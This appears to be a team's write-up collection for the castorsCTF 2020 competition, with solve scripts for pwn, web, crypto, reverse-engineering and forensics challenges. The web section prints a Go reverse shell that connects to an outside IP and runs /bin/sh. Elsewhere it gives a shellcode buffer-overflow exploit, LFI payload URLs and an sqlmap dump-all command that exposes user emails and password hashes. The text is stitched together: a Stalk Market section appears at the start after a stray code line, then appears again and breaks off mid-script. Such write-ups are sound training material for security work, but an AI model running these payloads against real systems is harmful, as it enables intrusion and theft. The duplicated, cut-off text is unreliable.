print(flag)```## Stalk MarketTo obtain the flag here, we need to guess the highest price out of 12 possibilities, 20 times in a row. The prices are picked based on some buckets of numbers, all rolled from the python random module. We're also given a commit hash for each price, to prove that the price was indeed pre-determined. We're also given the price of monday at AM each round.
The hashing algorithm does the following:
- Set initial state to a constant- Pad input and split into chunks of 16 bytes- For each chunk, do 8 rounds of:-- XOR state with the chunk-- Perform sbox lookup for each byte in the state-- Permute all state bytes according to a pbox.
The commit hashes are computed like `hash(secret + pad("mon-am-123"))`, where the secret value is exactly 16 bytes, or 1 chunk. The same secret is used for every price in a given round, and is also revealed after our guess for verification purposes.
A huge flaw here, is that after processing the secret block, the state will be **the same** for each calculated price. Then it applies the hashing algorithm to the time+price string. We can then basically say that the state after the first 8 rounds, is the actual initial state, instead of the secret. Since we know the price for monday at 12, we can undo all the hashing steps for the last block, to recover this "new secret". Then we can brute-force the prices for each time of the day, starting at the new secret, until it matches the commit we've been given. Now we know the prices, and can easily make the right guess.
```pythonfrom pwn import *
def pad(s): if len(s) % 16 == 0: return s else: pad_b = 16 - len(s) % 16 return s + bytes([pad_b]) * pad_b
def repeated_xor(p, k): return bytearray([p[i] ^ k[i] for i in range(len(p))])
def group(s): return [s[i * 16: (i + 1) * 16] for i in range(len(s) // 16)]
sbox = [92, 74, 18, 190, 162, 125, 45, 159, 217, 153, 167, 179, 221, 151, 140, 100, 227, 83, 8, 4, 80, 75, 107, 85, 104, 216, 53, 90, 136, 133, 40, 20, 94, 32, 237, 103, 29, 175, 127, 172, 79, 5, 13, 177, 123, 128, 99, 203, 0, 198, 67, 117, 61, 152, 207, 220, 9, 232, 229, 120, 48, 246, 238, 210, 143, 7, 33, 87, 165, 111, 97, 135, 240, 113, 149, 105, 193, 130, 254, 234, 6, 76, 63, 19, 3, 206, 108, 251, 54, 102, 235, 126, 219, 228, 141, 72, 114, 161, 110, 252, 241, 231, 21, 226, 22, 194, 197, 145, 39, 192, 95, 245, 89, 91, 81, 189, 171, 122, 243, 225, 191, 78, 139, 148, 242, 43, 168, 38, 42, 112, 184, 37, 68, 244, 223, 124, 218, 101, 214, 58, 213, 34, 204, 66, 201, 180, 64, 144, 147, 255, 202, 199, 47, 196, 36, 188, 169, 186, 1, 224, 166, 10, 170, 195, 25, 71, 215, 52, 15, 142, 93, 178, 174, 182, 131, 248, 26, 14, 163, 11, 236, 205, 27, 119, 82, 70, 35, 23, 88, 154, 222, 239, 209, 208, 41, 212, 84, 176, 2, 134, 230, 51, 211, 106, 155, 185, 253, 247, 158, 56, 73, 118, 187, 250, 160, 55, 57, 16, 17, 157, 62, 65, 31, 181, 164, 121, 156, 77, 132, 200, 138, 69, 60, 50, 183, 59, 116, 28, 96, 115, 46, 24, 44, 98, 233, 137, 109, 49, 30, 173, 146, 150, 129, 12, 86, 249]p = [8, 6, 5, 11, 14, 7, 4, 0, 9, 1, 13, 10, 2, 3, 15, 12]round = 8
inv_s = [sbox.index(i) for i in range(len(sbox))]inv_p = [p.index(i) for i in range(len(p))]
DAYTIMES = ["mon-pm", "tue-am", "tue-pm", "wed-am", "wed-pm", "thu-am", "thu-pm", "fri-am", "fri-pm", "sat-am", "sat-pm"]
def reverse_state(s, guess): state = bytes.fromhex(s) for _ in range(round): temp = bytearray(16) for i in range(len(state)): temp[inv_p[i]] = state[i] state = temp
for i in range(len(state)): state[i] = inv_s[state[i]]
state = repeated_xor(state, guess) return state.hex()
def hash(data, init): state = bytes.fromhex(init) data = group(pad(data)) for roundkey in data: for _ in range(round): state = repeated_xor(state, roundkey) for i in range(len(state)): state[i] = sbox[state[i]] temp = bytearray(16) for i in range(len(state)): temp[p[i]] = state[i] state = temp return state.hex()
r = remote("chals20.cybercastors.com", 14423)
for _ in range(20): _ = r.recvuntil("Price commitments for the week: ") hashes = [e.decode() for e in r.recvline().rstrip().split()] _ = r.recvuntil("Monday AM Price: ") monam_price = r.recvline().strip().decode() guess = pad(f"mon-am-{monam_price}".encode()) init = reverse_state(hashes[0], guess)
best_price = int(monam_price) best_time = "mon-am"
for ix, time in enumerate(DAYTIMES): for price in range(20, 601): guess = pad(f"{time}-{price}".encode()) h = hash(guess, init) if h == hashes[ix+1]: print(time, price) if price > best_price: best_price = price best_time = time break else: assert False r.sendline(best_time)
r.interactive()```
`Even Tom Nook is impressed. Here's your flag: castorsCTF{y0u_4r3_7h3_u1t1m4t3_turn1p_pr0ph37}`
# PWN
## abcbofVery simple buffer overflow, to overwrite the next variable with `CyberCastors`. Simply send a string with tons of padding, which ends in `CyberCastors`. Even when unsure about the exact padding length, multiple lengths can be tested.
## babybof1 part 1ROP to the `get_flag` function.```pythonfrom pwn import *import time
context.arch = "x86_64"
elf = ELF("babybof")r = remote("chals20.cybercastors.com", 14425)
payload = "A"*264payload += p64(elf.symbols["get_flag"])r.sendline(payload)r.shutdown("send")r.interactive()```Running it yields the flag: `castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}`
## babybof1 pt2Same start as the babybof1 challenge, except this time we need a shell. Since the stack is executable, and RAX contains a pointer to the array `gets()` wrote to, we use a "jmp rax" gadget to execute our shellcode.
*Replaces the payload in pt 1*
```pythonJMP_RAX = 0x0000000000400661payload = asm(shellcraft.sh()).ljust(264, "\x90")payload += p64(JMP_RAX)r.sendline(payload)r.interactive()```When we have a shell we can cat the `shell_flag.txt````consoleWelcome to the cybercastors BabybofSay your name: sh: 0: can't access tty; job control turned off$ lsbabybof flag.txt shell_flag.txt$ cat shell_flag.txtcastorsCTF{w0w_U_jU5t_h4ck3d_th15!!1_c4ll_th3_c0p5!11}```
## Babybof2We get a binary file called`winner` and a service to connect to.When running the program it asks for which floor the winners table is at. After opening up the program in IDA, we quickly find an unused function called `winnersLevel`. The function checks if the argument of this function is either one of two integers (258 (0x102) or 386 (0x182)). If the number is correct it prints the flag, or else it prints an info message that the badge number is not correct. We can overflow the input buffer using gets and overwrite the return address with the address of the `winnersLevel` function. We also need to send in the correct argument to this function to get the flag.
```python#!/usr/bin/env python3from pwn import *
exe = context.binary = ELF('winners')host = args.HOST or 'chals20.cybercastors.com'port = int(args.PORT or 14434)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''tbreak maincontinue'''.format(**locals())
# -- Exploit --- #io = start()
winners_addr = exe.symbols["winnersLevel"] # Address of the winnersLevel functionp = cyclic(cyclic_find(0x61616174)) # Send input of cyclic 100 to program to find the offset where we can write a new return address.p+= p32(winners_addr)p+= b'a'*4p+= p32(0x102) # Send in the correct integer value the function expects to print the flag
if args.LOCAL: io.sendlineafter('is the table at: \n', p)else: io.sendline(p) # Some issues with the remote service, se we need to send the exploit right away and not wait for any prompt. io.interactive()```The flag is: `castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}`
## babyfmtSimple format string
Spammed some `%lx` and after decoding the hex I could see the flag, narrowed down to the `%lx`'s I needed.```cnc chals20.cybercastors.com 14426
Hello everyone, this is babyfmt! say something: %8$lx%9$lx%10$lx%11$lx%12$lx%13$lx%8$lx%9$lx%10$lx%11$lx%12$lx%13$lx4373726f747361635f6b34336c7b46543468745f6b34336c74346d7230665f745f366e317274735f7d6b34336c```
decoded the hex string, however the flag was divided into 8 char indices which had to be reversed, which I did with python.
```python>>> s = "Csrotsac_k43l{FT4ht_k43lt4mr0f_t_6n1rts_}k43l">>> "".join([s[i:i+8][::-1] for i in range(0,len(s),8)])'castorsCTF{l34k_l34k_th4t_f0rm4t_str1n6_l34k}'```
# Rev
## Reverse-meThe binary is reading a flag.txt file, applies some mapping function on each of the bytes, and dump them to the screen. Then it asks us to input the flag for verification.
We solved this by just encrypting A-Z, a-z, 0-9 etc. and creating a mapping table for it.
```pythonlookup = {e2:e1 for e1, e2 in zip("abcdefghijklmnopqrstuvwx", "6d6e6f707172737475767778797a6162636465666768696a".decode('hex'))}for e1, e2 in zip("ABCDEFGHIJKLMNOPQRSTUVWX", "434445464748494a4b4c4d4e4f505152535455565758595a".decode('hex')): assert not e2 in lookup lookup[e2] = e1for e1, e2 in zip("0123456789", "32333435363738393a3b".decode('hex')): assert not e2 in lookup lookup[e2] = e1
flag = "64 35 68 35 64 37 33 7a 38 6b 33 37 6b 72 67 7a".replace(" ","").decode('hex')print(''.join(lookup.get(e,'_') for e in flag))```
`castorsCTF{r3v3r51n6_15_fun}`## MappingVery similar to the Reverse-me challenge, except it's golang, and the output is base64-encoded before comparing it to the scrambled flag. I input the entire ASCII alphanum charset, set a breakpoint in the base64-encoding function, and read out the mapping table that was given as an argument to it. Then I extract the encoded flag used for comparison, decoded it and undid the mapping.
```pythonimport base64from string import maketrans
a = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"b = "5670123489zyxjklmdefghinopqrstuvwcbaZYXFGABHOPCDEQRSTUVWIJKNML"flag = "eHpzdG9yc1hXQXtpYl80cjFuMmgxNDY1bl80MXloMF82Ml95MDQ0MHJfNGQxbl9iNXVyMn0="
tab = maketrans(b,a)
print(base64.b64decode(flag).translate(tab))```
`castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0ur5}`
## RansomThe binary here, is basically encrypting flag.png, and we're provided with an encrypted flag file and a traffic log. Looking at the file length, it's reasonable to believe that it's a stream cipher, which often can be undone by simply encrypting again. This is because stream ciphers often just XOR the plaintext with a bytestream.
But before the binary tries to encrypt, it tries to contact a webserver at 192.168.0.2:8081 and ask for a seed. If it is not able to successfully complete a handshake with this server, it will pick a random seed based on the current time.
We set up a basic flask server that with the endpoint `/seed`, that responds `1337` to GET requests and `ok\n` to POST requests. This matches the traffic seen in the traffic log. When we apply this to the original flag file, we get a valid PNG file with the flag on it. (Until we added the newline, it randomly encrypted things every time).

## OctopusBefore the new binary was dropped, this challenge looked like a very hard encoding challenge. After the update, it's a matter of removing the certificate header/footer, fixing newlines with dos2unix, then decoding the base64 into an ELF file. Running this ELF, spits out the flag in base64-encoded form.
```bashroot@bd2ba35b12d7:/ctf/work# ./obfusEstou procurando as palavras para falar em inglês ...Aqui vou[Y 2 F z d G 9 y c 0 N U R n t X a D B f c z Q x Z F 9 B b l k 3 a G x u R 1 9 C M H V U X 2 0 0 d E h 9]```
`castorsCTF{Wh0_s41d_AnY7hlnG_B0uT_m4tH}`
|
# Cybercastors writeups for team bootplug
# Misc## Password crack 3```7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12
This one needs to be in the flag format first...```
The solution here was to use a custom ruleset with hashcat, that applied the flag format to all password candidates: `^{^F^T^C^s^r^o^t^s^a^c$}`. Running rockyou.txt with this rule, produced the solution:`7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12:castorsCTF{theformat!}`## Pitfall```sylv3on_ was visiting cybercastors island and thought it'd be funny to bury the flag.txt. Can you help us DIG it out?```
```$ dig -t TXT cybercastors.com
; <<>> DiG 9.11.9 <<>> -t TXT cybercastors.com...;; ANSWER SECTION:cybercastors.com. 299 IN TXT "v=spf1 include:_spf.google.com ~all"cybercastors.com. 299 IN TXT "flag=castorsCTF{L00K_1_DuG_uP_4_fL4g_464C4147}"```## To plant a seed```Did you know flags grow on trees? Apparently if you water them a specific amount each day the tree will grow into a flag! The tree can only grow up to a byte each day. I planted my seed on Fri 29 May 2020 20:00:00 GMT. Just mix the amount of water in the list with the tree for 6 weeks and watch it grow!```A file with the following sequence was provided:```Watering Pattern: 150 2 103 102 192 216 52 128 9 144 10 201 209 226 22 10 80 5 102 195 23 71 77 63 111 116 219 22 113 89 187 232 198 53 146 112 119 209 64 79 236 179```
Guessing that this is about PRNG seeds, and the pattern is a flag XORed with the output, we need to find a PRNG that, when seeded with the given date, outputs numbers such that `150 ^ random_1 = 'c'` and `2 ^ random_2 = 'a'`, etc. After trying a few variants, like libc and different versions of Python, and testing ways to mask the output to 8-bit numbers, I figured out that they used Python3 and `random.randint(0,255)`.
```pythonimport randomrandom.seed(1590782400)
nums = [150,2,103,102,192,216,52,128,9,144,10,201,209,226,22,10,80,5,102,195,23,71,77,63,111,116,219,22,113,89,187,232,198,53,146,112,119,209,64,79,236,179]
print(''.join(chr(e ^ random.randint(0,255)) for e in nums))# castorsCTF{d0n7_f0rg37_t0_73nd_y0ur_s33ds}```
# Coding## Arithmetics```pythonfrom pwn import *
r = remote("chals20.cybercastors.com", 14429)r.sendlineafter("ready.\n", "")
lookup = {"one":"1", "two":"2", "three":"3", "four":"4", "five":"5", "six":"6", "seven":"7", "eight":"8", "nine": "9", "minus":"-", "plus":"+", "multiplied-by":"*", "divided-by":"//"}
for count in range(100): q = r.recvline() print(count, q) _, _, a, op, b, _ = q.split(" ") if a in lookup: a = lookup[a] if b in lookup: b = lookup[b] if op in lookup: op = lookup[op]
r.sendline(str(eval(a+op+b))) print r.recvline() count += 1
r.interactive()```## Base Runner
Saw that it was binary -> octal -> hex -> base64.Just built upon an ugly one liner in python and pwntools, looped it 50 times and got the flag ```pythonfrom pwn import *from base64 import b64decode
r = remote("chals20.cybercastors.com",14430)
r.recvuntil("ready.")r.sendline("\n")r.recvline()
for i in range(50): r.sendline(b64decode("".join([chr(int(nnn,16)) for nnn in "".join([chr(int(nn,8)) for nn in "".join([chr(int(n,2)) for n in r.recvline().decode().strip().split(" ")]).split(" ")]).split(" ")])).decode()) print(r.recvline())
r.interactive()```## Flag GodsThe service asks us to provide the hamming distance between a string and some hexadecimal output. This is easily accomplished by decoding the hex string, then bitwise XORing the strings, and counting the number of "1" bits in the result.
```pythonfrom pwn import *from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
r = remote("chals20.cybercastors.com", 14431)r.sendline("")
for iteration in range(80): _ = r.recvuntil("Transmitted message: ") m1 = r.recvline().rstrip() _ = r.recvuntil("Received message: ") m2 = r.recvline().rstrip().decode('hex') hamming = bin(b2l(xor(m1,m2))).count("1") r.sendline(str(hamming))
if iteration == 79: break
print iteration print r.recvline() print r.recvline()
r.interactive()```## Glitchity GlitchAfter randomly trying a few options in the menu, I found a sequence that led to infinite selling. Instead of figuring out the bugs, or trying to optimize it any further, I just looped until I had enough money to buy the flag.
```pythonfrom pwn import *
context.log_level = "debug"
r = remote("chals20.cybercastors.com", 14432)
r.sendlineafter("Choice: ","1")r.sendlineafter("Choice: ","2")r.sendlineafter("Choice: ","3")r.sendlineafter("Choice: ","6")
for _ in range(6000//20): r.sendlineafter("Choice: ", "0") r.sendlineafter("Choice: ", "1")
r.sendline("5") # castorsCTF{$imPl3_sTUph_3h?}
r.interactive()```
# Forensics
## LeftoversThis is HID data, but with a slight twist where multiple keys are being sent in the same packet. First we extract all the HID data packets.
`tshark -r interrupts.pcapng -T fields -e usb.capdata > usbdata.txt`
Some manual cleanup is required afterwards; namely deleting blank lines and deleting metadata PDUs (which have a different length).
After this, you just run your run-of-the-mill HID parser, just to see that it doesn't support Caps Lock, and assumes only one key is arriving at any point. Adding caps-lock support, I'm left with
`what dooyoo thhnng yyuu will ffnnn herr? thhss? csstossCTF{1stiswhatyoowant}`
and these letters that are pressed, but couldn't be merged with the earlier output: `uuuiiioooiiiddeeiiiaarruu`. Through manual comparison of the provided strings, and filtering out some double letters, it's clear that the flag must be `castorsCTF{1stiswhatyouwant}`.
## ManipulationThe challenge has a .jpg file, but the contents are actually output from `xxd`. The first line is also moved to the bottom. We can undo this by moving the last line to the top, using a text editor, then running `xxd -r` on the file. This produces a valid JPG file with two flags on it. The last flag was the correct one.
## Father Taurus Kernel Import!Loaded dump into Autopsy, let it scan. Found a deleted file `Secrets/_lag.txt` (originally flag.txt?) with contents`Y2FzdG9yc0NURntmMHIzbnMxY1NfbHNfSVRzXzBXbl9iMFNTfQ==`, which after base64 decoding becomes `castorsCTF{f0r3ns1cS_ls_ITs_0Wn_b0SS}`.
# General
# Web
## Bane ArtThis challenge has a very obvious LFI vulnerability, and php wrappers are enabled. After some probing around, reading files with`http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=<FILENAME>`and abusing `/proc/self/fd/7` as a semi-RCE, we find the flag located at`/home/falg/flag/test/why/the/hassle/right/flag.txt`.
Final payload is then `http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=/home/falg/flag/test/why/the/hassle/right/flag.txt`
`castorsCTF{w3lc0m3_2_D4_s0urc3_YoUng_Ju4n}`
## ShortcutsSaw you could upload your own shortcuts, however if you uploaded `<filename>` and clicked it, the webapp tried to `go run <filename>.go`. I circumvented this by just uploading `<filename>` and `<filename>.go` to the shortcuts app with the same content, then clicking the `<filename>` link.
the go code I uploaded was some sample rev-shell code from pentestmonkey.```gopackage main
import ( "net" "os/exec" "time")
func main() { reverse("167.99.202.x:8080")}
func reverse(host string) { c, err := net.Dial("tcp", host) if nil != err { if nil != c { c.Close() } time.Sleep(time.Minute) reverse(host) }
cmd := exec.Command("/bin/sh") cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c cmd.Run() c.Close() reverse(host)}```
After that I found the flag in /home/tom/flag.txt
## QuizSaw a simple quiz app, apparently written in Go. Tried lots of stuff with the questionaire, could provoke a strconv error when setting question number to something that was not a number, but nothing else interesting.
After some directory brute forcing we found /backup/, giving us the soruce code.
### Function & routes```go mux := httprouter.New()
mux.GET("/", index) mux.GET("/test/:directory/:theme/:whynot", super) mux.GET("/problems/math", math) mux.POST("/problems/math", mathCheck)
//Remember to Delete mux.GET("/backup/", backup)``````gofunc super(w http.ResponseWriter, req *http.Request, ps httprouter.Params) { fmt.Println(ps.ByName("whynot")) var file string = "/" + ps.ByName("directory") + "/" + ps.ByName("theme") + "/" + ps.ByName("whynot") test, err := os.Open(file) handleError(w, err) defer test.Close()
scanner := bufio.NewScanner(test) var content string for scanner.Scan() { content = scanner.Text() }
fmt.Fprintf(w, "Directories: %s/%s\n", ps.ByName("directory"), ps.ByName("theme")) fmt.Fprintf(w, "File: %s\n", ps.ByName("whynot")) fmt.Fprintf(w, "Contents: %s\n", content)}```After inspecting the source code we see that the super function gives us LFI, but only the last line in the file we want to view.
We tried alot of stuff, including viewing the .csv files, different files in /proc, until we finally looked at the description hinting to the name jeff.
```bashcurl --path-as-is -g 'http://web1.cybercastors.com:14436/test/home/jeff/flag.txt' -o -Directories: home/jeffFile: flag.txtContents: castorsCTC{wh0_l4iks_qUiZZ3s_4nyW4y}```
## Car LotteryWe're presented with a website that says you need to be visitor number N, for some large number N, in order to buy a car. Inspecting the requests, it's clear that this is set through cookies, and we can gain access by setting the cookie `client=3123248`. This allows us to browse the cars, by querying for data. Probing around here a bit, reveals an SQLi vulnerability in the lookup. We dump the entire database with this.
`python sqlmap.py -o -u "http://web1.cybercastors.com:14435/search" --data "id=1" --cookie="client=3123248" --dump-all`
Inspecting the data, there's a table called `Users` with the following contents:
```Username,Password[email protected],cf9ee5bcb36b4936dd7064ee9b2f139e[email protected],fe87c92e83ff6523d677b7fd36c3252d[email protected],d1833805515fc34b46c2b9de553f599d[email protected],77004ea213d5fc71acf74a8c9c6795fb```
Which are easily cracked
```cf9ee5bcb36b4936dd7064ee9b2f139e:naruto fe87c92e83ff6523d677b7fd36c3252d:powerpuffd1833805515fc34b46c2b9de553f599d:pancakes77004ea213d5fc71acf74a8c9c6795fb:fun```
Here we got stuck for a while, until an admin hinted towards scanning for endpoints. This gave us `http://web1.cybercastors.com:14435/dealer`, where we could use the credentials above to log in and get the flag.
`castorCTF{daT4B_3n4m_1s_fuN_N_p0w3rfu7}`## Mixed FeelingsFound some commented out "php" code.
```php if(isset($file)) { if ($user == falling_down_a_rabit_hole) { exit()? } else { go to .flagkindsir }}```
http://web1.cybercastors.com:14439/.flagkindsir
Found this link
When we click the buttons it posts cookies=cookies or puppies=puppies.
So we tried flags=flags, then on a whim cookies=flag, and it worked.
```bashcurl 'http://web1.cybercastors.com:14439/.flagkindsir' --data-raw "cookies=flag"```
# Crypto## One Trick Ponyjust OTP where the flag is the key. so just input some known plaintext and get encrypted text. ```bash➜ Mixed Feelings echo -n "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | nc chals20.cybercastors.com 14422
> b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13'```Then XOR the encrypted text with the known plaintext.```python>>> from pwn import xor>>> xor("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13')b'cstorsCTF{k33p_y0ur_k3y5_53crcstorsCTF{k33p_y0'```
## Magic School BusHere we're presented with a service that serves up a scrambled flag, and can scramble arbitrary inputs. There's two ways to solve this: modify the input until its scrambled output matches the flag output, or figure out the scramble. We figured out the scramble indexes by scrambling strings like "BAAA...", "ABAA..." and noting where the 'B' ended up each time. Then applied this in reverse to the scrambled flag.
```pythonfrom pwn import *
lookup = []flag_len = 46
r = remote("chals20.cybercastors.com", 14421)
for i in range(flag_len): s = list("A"*flag_len) s[i] = "B" s = ''.join(s) r.sendline("1") _ = r.recv() r.sendlineafter("Who's riding the bus?: ", s) resp = r.recvline().strip().split()[2] lookup.append(resp.index("B"))
# lookup = [11, 23, 17, 5, 34, 40, 0, 29, 12, 24, 18, 6, 35, 41, 1, 30, 13, 25, 19, 7, 36, 42, 2, 31, 14, 26, 20, 8, 37, 43, 3, 32, 15, 27, 21, 9, 38, 44, 4, 33, 16, 28, 22, 10, 39, 45]
assert sorted(lookup) == range(flag_len)
r.sendline("2")r.recvuntil("Flag bus seating: ")flag = r.recvline()print flag # SNESYT3AYN1CTISL7SRS31RAFSKV3C4I0SOCNTGER0COM5
final_flag = [None] * flag_lenfor i in range(flag_len): final_flag[i] = flag[lookup[i]]
print(''.join(final_flag))```
Adding underscores we get `CASTORSCTF{R3C0N4ISSANCE_IS_K3Y_TO_S0LV1NG_MYS73R1E5}`
## WarmupSimple math, using the formulas`a=p+q, b=p-q, a^2+b^2=c^2, A=a*b/2`we end up with an equation for q and p alone, e.g.`2*q^2 = (c^2)/2 - A/2`
However, the `c` variable we've been given, is actually `c^2`, so the results were strange at first. After figuring this out, we can calculate p and q to decrypt the flag.
```pythonp = gmpy2.iroot(((c) // 4) - A, 2)[0]q = gmpy2.iroot(((c) // 4) + A, 2)[0]d = gmpy2.invert(e, (p-1)*(q-1))m = pow(enc, d, p*q)# castorsCTF{n0th1ng_l1k3_pr1m3_numb3r5_t0_w4rm_up_7h3_3ng1n3s}```
## Two PathsInside the image, there's some binary code that sends us off to `https://ctf-emoji-cipher.s3.amazonaws.com/decode_this.html`. And inside one of the color planes, we see a link sending us to `https://ctf-emoji-cipher.s3.amazonaws.com/text_cipher.htm`. I assume these are the two paths.
The first page has a ton of emojis, intersped with symbols like `_{},.!`. Removing all non-emojis, we see that there's 26 unique emojis, so it's likely a mapping to the English alphabet. Doing some basic tests does not reveal a probable mapping though, so it's likely some gibberish in the text. However, the second URL shows a message log between two persons, where one is speaking with text and the other in emoji. From the inital few sentences, we can guess that the emoji man is saying "hi" and "all good, you?". Using these translations lets us guess more and more letter mappings, until we have the entire text recovered.
```congratulations!_if_you_can_read_this,_then_you_have_solved_the_cipher!_we_just_hope_you_found_a_more_efficient_way_for_deciphering_than_going_one_by_one_or_else_you_won't_get_through_the_next_part_very_quickly._maybe_try_being_a_little_more_lazy!```
This text block is followed by a ton of flag-looking strings, where only one of them is the actual flag. This is why statistical tests failed to automatically decrypt this.
`castorsCTF{sancocho_flag_qjzmlpg}`
## Bagel BytesWe solved this before the code was released, and we're a bit unsure why such a huge hint was revealed after the challenge had been solved.
In this challenge, we get access to a service that lets us encrypt our own plaintexts, and also encrypt the flag with a chosen prefix. Fiddling about a bit, reveals that this is AES in ECB mode, which has a very common attack if you're given an oracle like here. Just ask the server to encrypt `"A"*15 + flag`. Then encrypt blocks like `"A"*15 + c` for every `c` in the printable alphabet, until you find a block similar to the flag block. This reveals a single letter of the flag. Now replace the last "A" with the first letter of the recovered flag, and repeat until the entire block is recovered.
To recover the next block, we can just use the first block as a prefix instead of using `"A"`, and look at the next block of the output. Here's some code for recovering the first block.
```pythonfrom pwn import *from string import printable
ALPHA = printable.strip()ALPHA = ALPHAr = remote("chals20.cybercastors.com", 14420)
def bake(s): r.sendlineafter("Your choice: ", "1") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
def bakeflag(s): r.sendlineafter("Your choice: ", "2") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
flag = ""for i in range(16): target = bakeflag("A"*(15-i))[:32] print("Target", target) for c in ALPHA: h = bake((flag + c).rjust(16, "A")) print("h", c, h) if target == h: flag += c print(flag) break else: assert False
# flag = "castorsCTF{I_L1k"```
Repeating this 3 times, looking at higher offsets when picking the `target` variable, we recover `castorsCTF{I_L1k3_muh_b4G3l5_3x7r4_cr15pY}`.
## Jigglypuff's songInstead of LSB stego, this challenge opted to do MSB stego. Simply use stegsolve to pick out the MSB of red, green and blue layers to recover a long text of rickrolls and `castorsCTF{r1ck_r0ll_w1ll_n3v3r_d3s3rt_y0uuuu}`## AmazonEach letter of the flag has been multiplied with a prime number, in increasing order.
```pythonimport gmpy2nums = [198,291,575,812,1221,1482,1955,1273,1932,2030,3813,2886,1968,4085,3243,5830,5900,5795,5628,3408,7300,4108,10043,8455,6790,4848,11742,10165,8284,5424,14986,6681,13015,10147,7897,14345,13816,8313,18370,8304,19690,22625]
flag = ""p=2
for num in nums: flag += chr(num // p) p = gmpy2.next_prime(p)
print(flag)```## 0x101 DalmatiansA continuation of Amazon, the change here is that the result is taken modulo 0x101```pythonimport gmpy2
nums = [198, 34, 61, 41, 193, 197, 156, 245, 133, 231, 215, 14, 70, 230, 33, 231, 221, 141, 219, 67, 160, 52, 119, 4, 127, 50, 19, 140, 201, 1, 101, 120, 95, 192, 20, 142, 51, 191, 188, 2, 33, 121, 225, 93, 211, 70, 224, 202, 238, 114, 194, 38, 56]
flag = ""p=2
for num in nums: for i in range(256): if (p*i) % 0x101 == num: flag += chr(i) break p = gmpy2.next_prime(p)
print(flag)```## Stalk MarketTo obtain the flag here, we need to guess the highest price out of 12 possibilities, 20 times in a row. The prices are picked based on some buckets of numbers, all rolled from the python random module. We're also given a commit hash for each price, to prove that the price was indeed pre-determined. We're also given the price of monday at AM each round.
The hashing algorithm does the following:
- Set initial state to a constant- Pad input and split into chunks of 16 bytes- For each chunk, do 8 rounds of:-- XOR state with the chunk-- Perform sbox lookup for each byte in the state-- Permute all state bytes according to a pbox.
The commit hashes are computed like `hash(secret + pad("mon-am-123"))`, where the secret value is exactly 16 bytes, or 1 chunk. The same secret is used for every price in a given round, and is also revealed after our guess for verification purposes.
A huge flaw here, is that after processing the secret block, the state will be **the same** for each calculated price. Then it applies the hashing algorithm to the time+price string. We can then basically say that the state after the first 8 rounds, is the actual initial state, instead of the secret. Since we know the price for monday at 12, we can undo all the hashing steps for the last block, to recover this "new secret". Then we can brute-force the prices for each time of the day, starting at the new secret, until it matches the commit we've been given. Now we know the prices, and can easily make the right guess.
```pythonfrom pwn import *
def pad(s): if len(s) % 16 == 0: return s else: pad_b = 16 - len(s) % 16 return s + bytes([pad_b]) * pad_b
def repeated_xor(p, k): return bytearray([p[i] ^ k[i] for i in range(len(p))])
def group(s): return [s[i * 16: (i + 1) * 16] for i in range(len(s) // 16)]
sbox = [92, 74, 18, 190, 162, 125, 45, 159, 217, 153, 167, 179, 221, 151, 140, 100, 227, 83, 8, 4, 80, 75, 107, 85, 104, 216, 53, 90, 136, 133, 40, 20, 94, 32, 237, 103, 29, 175, 127, 172, 79, 5, 13, 177, 123, 128, 99, 203, 0, 198, 67, 117, 61, 152, 207, 220, 9, 232, 229, 120, 48, 246, 238, 210, 143, 7, 33, 87, 165, 111, 97, 135, 240, 113, 149, 105, 193, 130, 254, 234, 6, 76, 63, 19, 3, 206, 108, 251, 54, 102, 235, 126, 219, 228, 141, 72, 114, 161, 110, 252, 241, 231, 21, 226, 22, 194, 197, 145, 39, 192, 95, 245, 89, 91, 81, 189, 171, 122, 243, 225, 191, 78, 139, 148, 242, 43, 168, 38, 42, 112, 184, 37, 68, 244, 223, 124, 218, 101, 214, 58, 213, 34, 204, 66, 201, 180, 64, 144, 147, 255, 202, 199, 47, 196, 36, 188, 169, 186, 1, 224, 166, 10, 170, 195, 25, 71, 215, 52, 15, 142, 93, 178, 174, 182, 131, 248, 26, 14, 163, 11, 236, 205, 27, 119, 82, 70, 35, 23, 88, 154, 222, 239, 209, 208, 41, 212, 84, 176, 2, 134, 230, 51, 211, 106, 155, 185, 253, 247, 158, 56, 73, 118, 187, 250, 160, 55, 57, 16, 17, 157, 62, 65, 31, 181, 164, 121, 156, 77, 132, 200, 138, 69, 60, 50, 183, 59, 116, 28, 96, 115, 46, 24, 44, 98, 233, 137, 109, 49, 30, 173, 146, 150, 129, 12, 86, 249]p = [8, 6, 5, 11, 14, 7, 4, 0, 9, 1, 13, 10, 2, 3, 15, 12]round = 8
inv_s = [sbox.index(i) for i in range(len(sbox))]inv_p = [p.index(i) for i in range(len(p))]
DAYTIMES = ["mon-pm", "tue-am", "tue-pm", "wed-am", "wed-pm", "thu-am", "thu-pm", "fri-am", "fri-pm", "sat-am", "sat-pm"]
